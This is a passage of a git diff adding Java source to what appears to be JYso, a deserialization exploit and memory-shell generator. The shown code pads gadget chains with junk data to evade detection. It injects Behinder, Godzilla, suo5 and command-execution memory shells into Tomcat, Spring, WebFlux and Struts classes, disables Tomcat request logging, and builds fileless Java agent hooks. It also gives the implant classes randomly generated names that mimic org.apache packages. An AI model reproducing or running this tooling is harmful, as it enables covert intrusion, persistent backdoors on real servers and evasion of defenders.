ThreadLocalRandom.current()).getString(); + // 随机选择封装对象 + int type = (int) (Math.random() * 10) % 10 + 1; + switch (type) { + case 0: + List arrayList = new ArrayList(); + arrayList.add(dirtyData); + arrayList.add(gadget); + wrapper = arrayList; + break; + case 1: + List linkedList = new LinkedList(); + linkedList.add(dirtyData); + linkedList.add(gadget); + wrapper = linkedList; + break; + case 2: + HashMap map = new HashMap(); + map.put(randStr1, dirtyData); + map.put(randStr2, gadget); + wrapper = map; + break; + case 3: + LinkedHashMap linkedHashMap = new LinkedHashMap(); + linkedHashMap.put(randStr1, dirtyData); + linkedHashMap.put(randStr2, gadget); + wrapper = linkedHashMap; + break; + default: + case 4: + TreeMap treeMap = new TreeMap(); + treeMap.put(randStr1, dirtyData); + treeMap.put(randStr2, gadget); + wrapper = treeMap; + break; + } + break; + // type 为 2 时,使用循环嵌套 LinkedList 来封装 object + // by Y4tacker + case 2: + List linkedList = new LinkedList(); + for (int i = 0; i < dirtyDataSize; i++) { + linkedList.add(Utils.makeClass("A" + System.nanoTime())); + } + linkedList.add(gadget); + wrapper = linkedList; + break; + // type 为 3 时,在 TC_RESET 中加入脏数据 + // by phith0n + case 3: + Config.IS_DIRTY_IN_TC_RESET = true; + Config.DIRTY_LENGTH_IN_TC_RESET = dirtyDataSize; + wrapper = gadget; + break; + } + + return wrapper; + } + +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/dirty/RandomString.java b/src/main/java/com/qi4l/JYso/gadgets/utils/dirty/RandomString.java new file mode 100644 index 0000000..06ea1ec --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/dirty/RandomString.java @@ -0,0 +1,59 @@ +package com.qi4l.JYso.gadgets.utils.dirty; + +import java.util.Locale; +import java.util.Objects; +import java.util.Random; + +public class RandomString { + + /** + * 26个大写字母 + */ + public static final String upper = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"; + + /** + * 26个小写字母 + */ + public static final String lower = upper.toLowerCase(Locale.ROOT); + + /** + * 数字 + */ + public static final String digits = "0123456789"; + + /** + * alphanum为26个大写字母+26个小写字母+10个数字。产生的随机字符串从此挑选字符生成 + */ + public static final String alphanum = upper + lower + digits; + + private final Random random; + + private final char[] symbols; + + private final char[] buf; + + public RandomString(int length, Random random, String symbols) { + if (length < 1) throw new IllegalArgumentException(); + if (symbols.length() < 2) throw new IllegalArgumentException(); + this.random = Objects.requireNonNull(random); + this.symbols = symbols.toCharArray(); + this.buf = new char[length]; + } + + /** + * 通过字母数字字符串生成器生成随机字符串。 + */ + public RandomString(int length, Random random) { + this(length, random, alphanum); + } + + /** + * 生成随机字符串 + */ + public String getString() { + for (int idx = 0; idx < buf.length; ++idx) { + buf[idx] = symbols[random.nextInt(symbols.length)]; + } + return new String(buf); + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/handle/ClassFieldHandler.java b/src/main/java/com/qi4l/JYso/gadgets/utils/handle/ClassFieldHandler.java new file mode 100644 index 0000000..4cbe49f --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/handle/ClassFieldHandler.java @@ -0,0 +1,55 @@ +package com.qi4l.JYso.gadgets.utils.handle; + +import com.qi4l.JYso.gadgets.Config.Config; +import javassist.CtClass; +import javassist.CtField; + +public class ClassFieldHandler { + public static void insertField(CtClass ctClass, String fieldName, String fieldCode) throws Exception { + ctClass.defrost(); + try { + CtField field = ctClass.getDeclaredField(fieldName); + ctClass.removeField(field); + } catch (javassist.NotFoundException ignored) { + } + ctClass.addField(CtField.make(fieldCode, ctClass)); + } + + + /** + * 将 Field String 转一层,实际用处不大 + * + * @param target Field String 值 + * @return 替换后的 String + */ + public static String converString(String target) { + if (Config.IS_OBSCURE) { + StringBuilder result = new StringBuilder("new String(new byte[]{"); + byte[] bytes = target.getBytes(); + for (int i = 0; i < bytes.length; i++) { + result.append(bytes[i]).append(","); + } + return result.substring(0, result.length() - 1) + "})"; + } + + return "\"" + target + "\""; + } + + /** + * 只有在原 Class 已经有此 Field 的情况下才加入 + * + * @param ctClass CtClass + * @param fieldName field 名称 + * @param fieldCode field 代码 + * @throws Exception 抛出异常 + */ + public static void insertFieldIfExists(CtClass ctClass, String fieldName, String fieldCode) throws Exception { + ctClass.defrost(); + try { + CtField field = ctClass.getDeclaredField(fieldName); + ctClass.removeField(field); + ctClass.addField(CtField.make(fieldCode, ctClass)); + } catch (javassist.NotFoundException ignored) { + } + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/handle/ClassMethodHandler.java b/src/main/java/com/qi4l/JYso/gadgets/utils/handle/ClassMethodHandler.java new file mode 100644 index 0000000..897c974 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/handle/ClassMethodHandler.java @@ -0,0 +1,305 @@ +package com.qi4l.JYso.gadgets.utils.handle; + +import com.qi4l.JYso.gadgets.Config.Config; +import com.qi4l.JYso.gadgets.Config.MemShellPayloads; +import com.qi4l.JYso.gadgets.utils.Utils; +import javassist.CtClass; +import javassist.CtMethod; +import javassist.NotFoundException; +import org.apache.commons.lang.StringUtils; + +import java.util.ArrayList; +import java.util.Arrays; +import java.util.List; + +import static com.qi4l.JYso.gadgets.utils.handle.ClassFieldHandler.converString; +import static com.qi4l.JYso.gadgets.utils.handle.ClassFieldHandler.insertField; + +public class ClassMethodHandler { + /** + * 向指定的 ctClass 中插入方法,使用 insertBefore,不影响原有逻辑 + * + * @param ctClass 目标 CtClass + * @param method 方法名 + * @param payload 方法内容 String + * @throws Exception 抛出异常 + */ + public static void insertMethod(CtClass ctClass, String method, String payload) throws Exception { + //System.out.println(ctClass); + //System.out.println(method); + //System.out.println(payload); + CtMethod cm = ctClass.getDeclaredMethod(method); + cm.insertBefore(payload); + } + + + public static void insertKeyMethodByClassName(CtClass ctClass, String className, String type) throws Exception { + + // 动态为 Echo回显类 添加执行命令功能 + if (className.endsWith("Echo")) { + insertCMD(ctClass); + ctClass.getDeclaredMethod("q").setBody("{return execCmd($1);}"); + return; + } + + // 如果是 RMI 内存马,则修改其中的 registryPort、bindPort、serviceName,插入关键方法 + if (className.contains("RMIBindTemplate")) { + String[] parts = type.split("-"); + + if (parts.length < 3) { + // BindPort 写 0 就是随机端口 + throw new IllegalArgumentException("Command format is: EX-MS-RMIBindTemplate---"); + } + + // 插入关键参数 + String rPortString = "port=" + parts[0] + ";"; + ctClass.makeClassInitializer().insertBefore(rPortString); + String bPort = "bindPort=" + parts[1] + ";"; + ctClass.makeClassInitializer().insertBefore(bPort); + String sName = "serviceName=\"" + parts[2] + "\";"; + ctClass.makeClassInitializer().insertBefore(sName); + ctClass.setInterfaces(new CtClass[]{Config.POOL.get("javax.management.remote.rmi.RMIConnection"), Config.POOL.get("java.io.Serializable")}); + + // 插入目标执行类 + insertCMD(ctClass); + ctClass.addMethod(CtMethod.make("public String getDefaultDomain(javax.security.auth.Subject subject) throws java.io.IOException {return new String(execCmd(((java.security.Principal)subject.getPrincipals().iterator().next()).getName()).toByteArray());}", ctClass)); + return; + } + + // 获取每个不同的类对应要插入的方法名 + String method = getMethodName(ctClass); + + // WebSocket 内存马 + if (className.contains("TWSMSFromThread")) { + insertCMD(ctClass); + insertMethod(ctClass, method, Utils.base64Decode(MemShellPayloads.WS_SHELL)); + return; + } + + // Tomcat Upgrade 内存马 + if (className.contains("TUGMSFromJMX")) { + insertField(ctClass, "CMD_HEADER", "public static String CMD_HEADER = " + converString(Config.CMD_HEADER_STRING) + ";"); + insertGetFieldValue(ctClass); + insertCMD(ctClass); + insertMethod(ctClass, method, Utils.base64Decode(MemShellPayloads.UPGRADE_SHELL)); + return; + } + + // Tomcat Executor 内存马 + if (className.contains("TEXMSFromThread")) { + insertField(ctClass, "TAG", "public static String TAG = \"" + Config.CMD_HEADER_STRING + "\";"); + insertCMD(ctClass); + ctClass.addMethod(CtMethod.make(Utils.base64Decode(MemShellPayloads.GET_REQUEST), ctClass)); + ctClass.addMethod(CtMethod.make(Utils.base64Decode(MemShellPayloads.BASE64_ENCODE_BYTE_TO_STRING), ctClass)); + ctClass.addMethod(CtMethod.make(Utils.base64Decode(MemShellPayloads.GET_RESPONSE), ctClass)); + insertMethod(ctClass, method, Utils.base64Decode(MemShellPayloads.EXECUTOR_SHELL)); + return; + } + + // 其他的进入下一段处理逻辑 + if (StringUtils.isNotEmpty(type)) { + insertKeyMethod(ctClass, type, method); + } + } + + + public static void insertKeyMethod(CtClass ctClass, String type, String method) throws Exception { + // 判断是否为 Tomcat 类型,需要对 request 封装使用额外的 payload + String name = ctClass.getName(); + name = name.substring(name.lastIndexOf(".") + 1); + + // 大多数 SpringBoot 项目使用内置 Tomcat + boolean isTomcat = name.startsWith("T") || name.startsWith("Spring"); + boolean isWebflux = name.contains("Webflux"); + + // 命令执行、各种内存马 + insertField(ctClass, "HEADER_KEY", "public static String HEADER_KEY=" + converString(Config.HEADER_KEY) + ";"); + insertField(ctClass, "HEADER_VALUE", "public static String HEADER_VALUE=" + converString(Config.HEADER_VALUE) + ";"); + + if ("bx".equals(type)) { + insertBase64Decode(ctClass); + insertGetFieldValue(ctClass); + insertGetMethodAndInvoke(ctClass); + + if (Config.IS_OBSCURE) { + insertGetUnsafe(ctClass); + } + + String shell = ""; + if (isTomcat) { + insertTomcatNoLog(ctClass); + shell = Config.IS_OBSCURE ? MemShellPayloads.BEHINDER_SHELL_FOR_TOMCAT_OBSCURE : MemShellPayloads.BEHINDER_SHELL_FOR_TOMCAT; + } else { + shell = Config.IS_OBSCURE ? MemShellPayloads.BEHINDER_SHELL_OBSCURE : MemShellPayloads.BEHINDER_SHELL; + } + + insertMethod(ctClass, method, Utils.base64Decode(shell).replace("f359740bd1cda994", Config.PASSWORD)); + } else if ("gz".equals(type)) { + insertField(ctClass, "payload", "Class payload ;"); + insertField(ctClass, "xc", "String xc = " + converString(Config.GODZILLA_KEY) + ";"); + insertField(ctClass, "PASS", "String PASS = " + converString(Config.PASSWORD_ORI) + ";"); + + insertBase64Decode(ctClass); + ctClass.addMethod(CtMethod.make(Utils.base64Decode(MemShellPayloads.BASE64_ENCODE_BYTE_TO_STRING), ctClass)); + ctClass.addMethod(CtMethod.make(Utils.base64Decode(MemShellPayloads.MD5), ctClass)); + ctClass.addMethod(CtMethod.make(Utils.base64Decode(MemShellPayloads.AES_FOR_GODZILLA), ctClass)); + insertTomcatNoLog(ctClass); + if (isWebflux) { + insertMethod(ctClass, method, Utils.base64Decode(MemShellPayloads.GODZILLA_SHELL_FOR_WEBFLUX)); + } else { + insertMethod(ctClass, method, Utils.base64Decode(MemShellPayloads.GODZILLA_SHELL)); + } + } else if ("gzraw".equals(type)) { + insertField(ctClass, "payload", "Class payload ;"); + insertField(ctClass, "xc", "String xc = " + converString(Config.GODZILLA_KEY) + ";"); + + ctClass.addMethod(CtMethod.make(Utils.base64Decode(MemShellPayloads.AES_FOR_GODZILLA), ctClass)); + insertTomcatNoLog(ctClass); + insertMethod(ctClass, method, Utils.base64Decode(MemShellPayloads.GODZILLA_RAW_SHELL)); + } else if ("suo5".equals(type)) { + + // 先写入一些需要的基础属性 + insertField(ctClass, "gInStream", "java.io.InputStream gInStream;"); + insertField(ctClass, "gOutStream", "java.io.OutputStream gOutStream;"); + + // 依次写入方法 + ctClass.addMethod(CtMethod.make(Utils.base64Decode(MemShellPayloads.SUO5.SUO5_NEW_CREATE), ctClass)); + ctClass.addMethod(CtMethod.make(Utils.base64Decode(MemShellPayloads.SUO5.SUO5_NEW_DATA), ctClass)); + ctClass.addMethod(CtMethod.make(Utils.base64Decode(MemShellPayloads.SUO5.SUO5_NEW_DEL), ctClass)); + ctClass.addMethod(CtMethod.make(Utils.base64Decode(MemShellPayloads.SUO5.SUO5_SET_STREAM), ctClass)); + ctClass.addMethod(CtMethod.make(Utils.base64Decode(MemShellPayloads.SUO5.SUO5_NEW_STATUS), ctClass)); + ctClass.addMethod(CtMethod.make(Utils.base64Decode(MemShellPayloads.SUO5.SUO5_U32_TO_BYTES), ctClass)); + ctClass.addMethod(CtMethod.make(Utils.base64Decode(MemShellPayloads.SUO5.SUO5_BYTES_TO_U32), ctClass)); + ctClass.addMethod(CtMethod.make(Utils.base64Decode(MemShellPayloads.SUO5.SUO5_MARSHAL), ctClass)); + ctClass.addMethod(CtMethod.make(Utils.base64Decode(MemShellPayloads.SUO5.SUO5_UNMARSHAL), ctClass)); + ctClass.addMethod(CtMethod.make(Utils.base64Decode(MemShellPayloads.SUO5.SUO5_READ_SOCKET), ctClass)); + ctClass.addMethod(CtMethod.make(Utils.base64Decode(MemShellPayloads.SUO5.SUO5_READ_INPUT_STREAM_WITH_TIMEOUT), ctClass)); + ctClass.addMethod(CtMethod.make(Utils.base64Decode(MemShellPayloads.SUO5.SUO5_TRY_FULL_DUPLEX), ctClass)); + ctClass.addMethod(CtMethod.make(Utils.base64Decode(MemShellPayloads.SUO5.SUO5_READ_REQ), ctClass)); + ctClass.addMethod(CtMethod.make(Utils.base64Decode(MemShellPayloads.SUO5.SUO5_PROCESS_DATA_UNARY), ctClass)); + ctClass.addMethod(CtMethod.make(Utils.base64Decode(MemShellPayloads.SUO5.SUO5_PROCESS_DATA_BIO), ctClass)); + + // 为恶意类设置 Runnable 接口以及 RUN 方法 + CtClass runnableClass = Config.POOL.get("java.lang.Runnable"); + ctClass.addInterface(runnableClass); + ctClass.addMethod(CtMethod.make(Utils.base64Decode(MemShellPayloads.SUO5.RUN), ctClass)); + + // 插入关键方法 + insertMethod(ctClass, method, Utils.base64Decode(MemShellPayloads.SUO5.SUO5)); + } else { + insertCMD(ctClass); + insertField(ctClass, "CMD_HEADER", "public static String CMD_HEADER = " + converString(Config.CMD_HEADER_STRING) + ";"); + + if (isWebflux) { + insertMethod(ctClass, method, Utils.base64Decode(MemShellPayloads.CMD_SHELL_FOR_WEBFLUX)); + } else if (isTomcat) { + insertTomcatNoLog(ctClass); + insertMethod(ctClass, method, Utils.base64Decode(MemShellPayloads.CMD_SHELL_FOR_TOMCAT)); + } else { + insertGetMethodAndInvoke(ctClass); + insertMethod(ctClass, method, Utils.base64Decode(MemShellPayloads.CMD_SHELL)); + } + } + } + + /** + * 向指定类中写入命令执行方法 execCmd + * 方法需要 toCString getMethodByClass getMethodAndInvoke getFieldValue 依赖方法 + * + * @param ctClass 指定类 + * @throws Exception 抛出异常 + */ + public static void insertCMD(CtClass ctClass) throws Exception { + if (Config.IS_OBSCURE) { + insertGetUnsafe(ctClass); + ctClass.addMethod(CtMethod.make(Utils.base64Decode(MemShellPayloads.TO_CSTRING_Method), ctClass)); + insertGetMethodAndInvoke(ctClass); + insertGetFieldValue(ctClass); + ctClass.addMethod(CtMethod.make(Utils.base64Decode(MemShellPayloads.EXEC_CMD_OBSCURE), ctClass)); + } else { + ctClass.addMethod(CtMethod.make(Utils.base64Decode(MemShellPayloads.EXEC_CMD), ctClass)); + } + } + + public static void insertBase64Decode(CtClass ctClass) throws Exception { + try { + ctClass.getDeclaredMethod("base64Decode"); + } catch (NotFoundException e) { + ctClass.addMethod(CtMethod.make(Utils.base64Decode(MemShellPayloads.BASE64_DECODE_STRING_TO_BYTE), ctClass)); + } + } + + public static void insertGetFieldValue(CtClass ctClass) throws Exception { + try { + ctClass.getDeclaredMethod("getFieldValue"); + } catch (NotFoundException e) { + ctClass.addMethod(CtMethod.make(Utils.base64Decode(MemShellPayloads.GET_FIELD_VALUE), ctClass)); + } + } + + public static void insertGetUnsafe(CtClass ctClass) throws Exception { + try { + ctClass.getDeclaredMethod("getUnsafe"); + } catch (NotFoundException e) { + ctClass.addMethod(CtMethod.make(Utils.base64Decode(MemShellPayloads.GET_UNSAFE), ctClass)); + } + } + + + public static void insertGetMethodAndInvoke(CtClass ctClass) throws Exception { + try { + ctClass.getDeclaredMethod("getMethodByClass"); + } catch (NotFoundException e) { + ctClass.addMethod(CtMethod.make(Utils.base64Decode(MemShellPayloads.GET_METHOD_BY_CLASS), ctClass)); + } + + try { + ctClass.getDeclaredMethod("getMethodAndInvoke"); + } catch (NotFoundException e) { + if (Config.IS_OBSCURE) { + ctClass.addMethod(CtMethod.make(Utils.base64Decode(MemShellPayloads.GET_METHOD_AND_INVOKE_OBSCURE), ctClass)); + } else { + ctClass.addMethod(CtMethod.make(Utils.base64Decode(MemShellPayloads.GET_METHOD_AND_INVOKE), ctClass)); + } + } + } + + public static void insertTomcatNoLog(CtClass ctClass) throws Exception { + insertGetFieldValue(ctClass); + insertGetMethodAndInvoke(ctClass); + ctClass.addMethod(CtMethod.make(Utils.base64Decode(MemShellPayloads.TOMCAT_NO_LOG), ctClass)); + } + + /** + * 获取该类的关键方法 + * + * @param ctClass CtClass + * @return 返回方法名 + * @throws Exception 抛出异常 + */ + public static String getMethodName(CtClass ctClass) throws Exception { + List classes = new java.util.ArrayList(Arrays.asList(ctClass.getInterfaces())); + String name = ctClass.getName(); + String method = ""; + classes.add(ctClass.getSuperclass()); + + for (CtClass value : classes) { + String className = value.getName(); + if (Config.KEY_METHOD_MAP.containsKey(className)) { + method = Config.KEY_METHOD_MAP.get(className); + break; + } + } + + if (name.contains("SpringControllerMS")) { + method = "drop"; + } else if (name.contains("Struts2ActionMS")) { + method = "executeAction"; + } + return method; + } + + public static void insertInitHookClassINFORMATION(CtClass ctClass, ArrayList list) throws Exception { + insertMethod(ctClass, "initHookClassINFORMATION", "{HOOK_CLASS_INFORMATION_MAP.add(\"" + list.get(0) + "\");HOOK_CLASS_INFORMATION_MAP.add(\"" + list.get(1) + "\");HOOK_CLASS_INFORMATION_MAP.add(\"" + list.get(2) + "\");}"); + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/handle/ClassNameHandler.java b/src/main/java/com/qi4l/JYso/gadgets/utils/handle/ClassNameHandler.java new file mode 100644 index 0000000..3e781bf --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/handle/ClassNameHandler.java @@ -0,0 +1,126 @@ +package com.qi4l.JYso.gadgets.utils.handle; + +import com.qi4l.JYso.gadgets.utils.SuClassLoader; + +import java.io.File; +import java.net.JarURLConnection; +import java.net.URL; +import java.util.Enumeration; +import java.util.HashSet; +import java.util.Set; +import java.util.jar.JarEntry; +import java.util.jar.JarFile; + +public class ClassNameHandler { + public static ClassLoader loader = new SuClassLoader(); + + public static Set set = null; + + /** + * 生成一个咋一下不出来问题的,但是在用户实际环境不存在的类名 + * 本来想直接用哥斯拉的 txt,但估计特征都被搞完了,这里自实现一个方法 + * 因为 apache 基金会的开源项目非常多,几乎大多数项目都会用到,所以看到 org.apache 包名的类也不会惊讶 + * 这里的逻辑是,获取目前项目中所有 org.apache 包下的类名,随机取两个,第一个取前三个包名,第二个取后三个包名进行拼接 + * + * @return 返回类型 + */ + public static String generateClassName() { + if (set == null) { + set = getClassSet("org.apache"); + } + Object[] array = set.toArray(); + + String name1 = array[(int) (Math.random() * array.length)].toString(); + String name2 = name1; + + while (name1.equals(name2)) { + name2 = array[(int) (Math.random() * array.length)].toString(); + } + + // 获取第一个包的前三个包名 + name1 = name1.substring(0, name1.indexOf(".", 11)); + + // 获取第二个包的后三个包名 + String temp = name2.substring(0, name2.lastIndexOf(".")); + temp = temp.substring(0, temp.lastIndexOf(".")); + temp = temp.substring(0, temp.lastIndexOf(".")); + name2 = name2.substring(temp.length()); + + String newName = name1 + name2; + + if (set.contains(newName)) { + return generateClassName(); + } else { + return newName; + } + } + + public static Set getClassSet(String packageName) { + Set classSet = new HashSet(); + try { + Enumeration urls = loader.getResources(packageName.replace(".", "/")); + while (urls.hasMoreElements()) { + URL url = urls.nextElement(); + if (url != null) { + String protocol = url.getProtocol(); + if (protocol.equals("jar")) { + JarURLConnection jarURLConnection = (JarURLConnection) url.openConnection(); + if (jarURLConnection != null) { + JarFile jarFile = jarURLConnection.getJarFile(); + if (jarFile != null) { + Enumeration jarEntries = jarFile.entries(); + while (jarEntries.hasMoreElements()) { + JarEntry jarEntry = jarEntries.nextElement(); + String jarEntryName = jarEntry.getName(); + if (jarEntryName.endsWith(".class")) { + String className = jarEntryName.substring(0, jarEntryName.lastIndexOf(".")).replaceAll("/", "."); + if (!className.contains("$") && className.startsWith(packageName)) { + classSet.add(className); + } + } + } + } + } + } else if (protocol.equals("file")) { + listClassesInDirectory(new File(url.getFile()), classSet, packageName); + } + } + } + } catch (Exception ignored) { + } + return classSet; + } + + // 方便不编译成 jar 时调试 + private static void listClassesInDirectory(File directory, Set classNames, String packageName) { + File[] files = directory.listFiles(); + if (files != null) { + for (File file : files) { + if (file.isDirectory()) { + listClassesInDirectory(file, classNames, packageName); + } else if (file.getName().endsWith(".class")) { + String fullName = file.getPath().replace(".class", ""); + String path = packageName.replace(".", "/"); + classNames.add(fullName.substring(fullName.replace("\\", "/").indexOf(path)).replace("/", ".")); + } + } + } + } + + public static String getHumanName(String className, String suffix) { + className = className.substring(className.lastIndexOf('.') + 1); + className = Character.toLowerCase(className.charAt(0)) + className.substring(1); + return className + suffix; + } + + + public static String searchClassByName(String name) { + Set set = getClassSet("com.qi4l.JYso.template."); + for (String fullName : set) { + if (fullName.endsWith(name)) { + return fullName.replace("\\", "."); + } + } + return null; + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/handle/GlassHandler.java b/src/main/java/com/qi4l/JYso/gadgets/utils/handle/GlassHandler.java new file mode 100644 index 0000000..1f97938 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/handle/GlassHandler.java @@ -0,0 +1,239 @@ +package com.qi4l.JYso.gadgets.utils.handle; + +import com.qi4l.JYso.gadgets.Config.Config; +import com.qi4l.JYso.gadgets.Config.HookPointConfig; +import com.qi4l.JYso.gadgets.Config.MemShellPayloads; +import com.qi4l.JYso.gadgets.utils.Gadgets; +import com.qi4l.JYso.gadgets.utils.Utils; +import javassist.CtClass; +import javassist.bytecode.*; +import org.apache.commons.codec.binary.Base64; + +import java.io.FileInputStream; +import java.util.List; + +public class GlassHandler { + public static CtClass generateClass(String target) throws Exception { + String newClassName = ClassNameHandler.generateClassName(); + CtClass ctClass = generateClass(target, newClassName); + + // 如果需要,保存类文件 + Utils.saveCtClassToFile(ctClass); + return ctClass; + } + + + public static CtClass generateClass(String target, String newClassName) throws Exception { + if (target.startsWith("EX-")) { + target = target.substring(3); + + // 内存马类型 + String shellType = ""; + String memShellName = ""; + Class memShellClazz = null; + + // 如果命令以 MS 开头,则代表是注入内存马 + if (target.startsWith("MS-")) { + target = target.substring(3); + + if (target.contains("-")) { + String[] commands = target.split("[-]"); + memShellName = commands[0]; + shellType = target.substring(target.indexOf("-") + 1); + } else { + memShellName = target; + shellType = "cmd"; + } + } else if (target.startsWith("Agent")) { + // 如果以 Agent 开头,则使用 AgentNoFile 动态进行 JavaAgent 注入 + // EX-Agent-Lin/Win-Servlet-bx + String[] commands = target.split("[-]"); + return generateAgentClass(commands[1], commands[2], commands.length > 3 ? commands[3] : ""); + } else { + // 否则是回显类,或者其他功能 + memShellName = target; + } + + String result = ClassNameHandler.searchClassByName(memShellName); + if (result != null) { + memShellClazz = Class.forName(result, false, Gadgets.class.getClassLoader()); + } else { + throw new IllegalArgumentException("Input Error,Please Check Your MemShell Name!"); + } + + return generateClass(memShellClazz, shellType, newClassName); + } + + // 如果命令以 LF- 开头 (Local File),则程序可以生成一个能加载本地指定类字节码并初始化的逻辑,后面跟文件路径-类名 + if (target.startsWith("LF-")) { + target = target.substring(3); + String filePath = target.contains("-") ? target.split("[-]")[0] : target; + CtClass ctClass = Config.POOL.makeClass(new FileInputStream(filePath)); + ctClass.setName(newClassName); + + // 对本地加载的类进行缩短操作 + shrinkBytes(ctClass); + + // 使用 ClassLoaderTemplate 进行加载 + return Utils.encapsulationByClassLoaderTemplate(ctClass.toBytecode()); + } + + return null; + } + + public static CtClass generateClass(Class clazz, String shellType, String newClassName) throws Exception { + + CtClass ctClass = null; + byte[] byteCodes = null; + + String exClassName = clazz.getName(); + ctClass = Config.POOL.get(exClassName); + + // 为 Echo 类添加 CMD_HEADER_STRING + ClassFieldHandler.insertFieldIfExists(ctClass, "CMD_HEADER", "public static String CMD_HEADER = " + ClassFieldHandler.converString(Config.CMD_HEADER_STRING) + ";"); + + // 为 DefineClassFromParameter 添加自定义函数功能 + ClassFieldHandler.insertFieldIfExists(ctClass, "parameter", "public static String parameter = " + ClassFieldHandler.converString(Config.PARAMETER) + ";"); + + // 为内存马添加名称 + ClassFieldHandler.insertFieldIfExists(ctClass, "NAME", "public static String NAME=" + ClassFieldHandler.converString(ClassNameHandler.getHumanName(newClassName, "Filter")) + ";"); + + // 为内存马添加地址 + ClassFieldHandler.insertFieldIfExists(ctClass, "pattern", "public static String pattern = " + ClassFieldHandler.converString(Config.URL_PATTERN) + ";"); + + // 根据不同的内存马类型,插入不同的方法、属性 + ClassMethodHandler.insertKeyMethodByClassName(ctClass, exClassName, shellType); + + // 为类设置新的类名 + ctClass.setName(newClassName); + + // 为 Struts2ActionMS 额外处理,防止框架找不到的情况 + ClassFieldHandler.insertFieldIfExists(ctClass, "thisClass", "public static String thisClass = \"" + Utils.base64Encode(ctClass.toBytecode()) + "\";"); + + shrinkBytes(ctClass); + byteCodes = ctClass.toBytecode(); + + if (Config.HIDE_MEMORY_SHELL) { + switch (Config.HIDE_MEMORY_SHELL_TYPE) { + case 1: + break; + case 2: + CtClass newClass = Config.POOL.get("com.qi4l.JYso.template.HideMemShellTemplate"); + newClass.setName(ClassNameHandler.generateClassName()); + String content = "b64=\"" + Base64.encodeBase64String(byteCodes) + "\";"; + String cName = "className=\"" + ctClass.getName() + "\";"; + newClass.defrost(); + newClass.makeClassInitializer().insertBefore(content); + newClass.makeClassInitializer().insertBefore(cName); + + ctClass = newClass; + break; + } + } + + return ctClass; + } + + + public static CtClass generateAgentClass(String osType, String hookType, String args) throws Exception { + CtClass agent = Config.POOL.get(ClassNameHandler.searchClassByName("AgentLoaderTemplate")); + + // 准备 SuURLConnection/SuURLStreamHandler/Javassist Jar 包 + prepareMemoryJar(agent); + + // 根据选定的不同操作系统类型,准备不同的的 AgentNoFile 类 + String agentNoFileName = osType.equals("win") ? "AgentNoFileForWindows" : "AgentNoFileForLinux"; + prepareAgentNoFile(agentNoFileName, agent); + + // 准备要 Hook 的类名、方法、内容 + prepareClassModifier(agent, hookType, args); + + agent.setName(ClassNameHandler.generateClassName()); + + // 保存 + Utils.saveCtClassToFile(agent); + return agent; + } + + public static void prepareMemoryJar(CtClass templateClass) throws Exception { + // 首先将 SuURLConnection/SuURLStreamHandler 改名 + final String nameA = ClassNameHandler.searchClassByName("SuURLConnection"); + final String newNameA = ClassNameHandler.generateClassName(); + final String nameB = ClassNameHandler.searchClassByName("SuURLStreamHandler"); + final String newNameB = ClassNameHandler.generateClassName(); + CtClass ctClassA = Config.POOL.get(nameA); + ctClassA.setName(newNameA); + CtClass ctClassB = Config.POOL.get(nameB); + ctClassB.setName(newNameB); + + ClassFieldHandler.insertField(ctClassA, "STREAM_HANDLER_CLASSNAME", "public static String STREAM_HANDLER_CLASSNAME = \"" + newNameB + "\";"); + ClassFieldHandler.insertField(ctClassB, "URL_CONNECTION_CLASSNAME", "public static String URL_CONNECTION_CLASSNAME = \"" + newNameA + "\";"); + + shrinkBytes(ctClassA); + shrinkBytes(ctClassB); + + ClassFieldHandler.insertField(templateClass, "SU_URL_CONNECTION_BYTES", "public static String SU_URL_CONNECTION_BYTES = \"" + Utils.base64Encode(ctClassA.toBytecode()) + "\";"); + ClassFieldHandler.insertField(templateClass, "SU_URL_STREAM_HANDLER_BYTES", "public static String SU_URL_STREAM_HANDLER_BYTES = \"" + Utils.base64Encode(ctClassB.toBytecode()) + "\";"); + } + + public static void prepareAgentNoFile(String className, CtClass templateClass) throws Exception { + CtClass agentNoFile = Config.POOL.get(ClassNameHandler.searchClassByName(className)); + shrinkBytes(agentNoFile); + agentNoFile.setName(ClassNameHandler.generateClassName()); + ClassFieldHandler.insertField(templateClass, "AGENT_NO_FILE_BYTES", "public static String AGENT_NO_FILE_BYTES = \"" + Utils.base64Encode(agentNoFile.toBytecode()) + "\";"); + } + + + public static void prepareClassModifier(CtClass templateClass, String hookType, String args) throws Exception { + CtClass classModifier = Config.POOL.get(ClassNameHandler.searchClassByName("ClassModifier")); + String shell = ""; + + // 插入 Hook 点 + if (hookType.equals("Servlet")) { + // 插入 Hook Class 基本信息 + ClassMethodHandler.insertInitHookClassINFORMATION(classModifier, HookPointConfig.BasicServletHook); + } else if (hookType.equals("Filter")) { + ClassMethodHandler.insertInitHookClassINFORMATION(classModifier, HookPointConfig.TomcatFilterChainHook); + } + + // 如果是冰蝎逻辑 + if (args.equals("bx")) { + shell = Utils.base64Decode(MemShellPayloads.BEHINDER_SHELL_FOR_AGENT); + shell = String.format(shell, Config.URL_PATTERN.substring(1), Config.HEADER_KEY, Config.HEADER_VALUE, Config.PASSWORD); + } else if (args.equals("gz")) { + shell = Utils.base64Decode(MemShellPayloads.GODZILLA_SHELL_FOR_AGENT); + shell = String.format(shell, Config.URL_PATTERN.substring(1), Config.HEADER_KEY, Config.HEADER_VALUE, Config.PASSWORD_ORI, Config.GODZILLA_KEY); + } else if (args.equals("gzraw")) { + shell = Utils.base64Decode(MemShellPayloads.GODZILLA_RAW_FOR_AGENT); + shell = String.format(shell, Config.URL_PATTERN.substring(1), Config.HEADER_KEY, Config.HEADER_VALUE, Config.GODZILLA_KEY); + } else { + // 默认 cmd 逻辑 + shell = Utils.base64Decode(MemShellPayloads.CMD_SHELL_FOR_AGENT); + shell = String.format(shell, Config.URL_PATTERN.substring(1), Config.HEADER_KEY, Config.HEADER_VALUE, Config.CMD_HEADER_STRING); + } + // 替换密码,添加 Shell Code + ClassFieldHandler.insertField(classModifier, 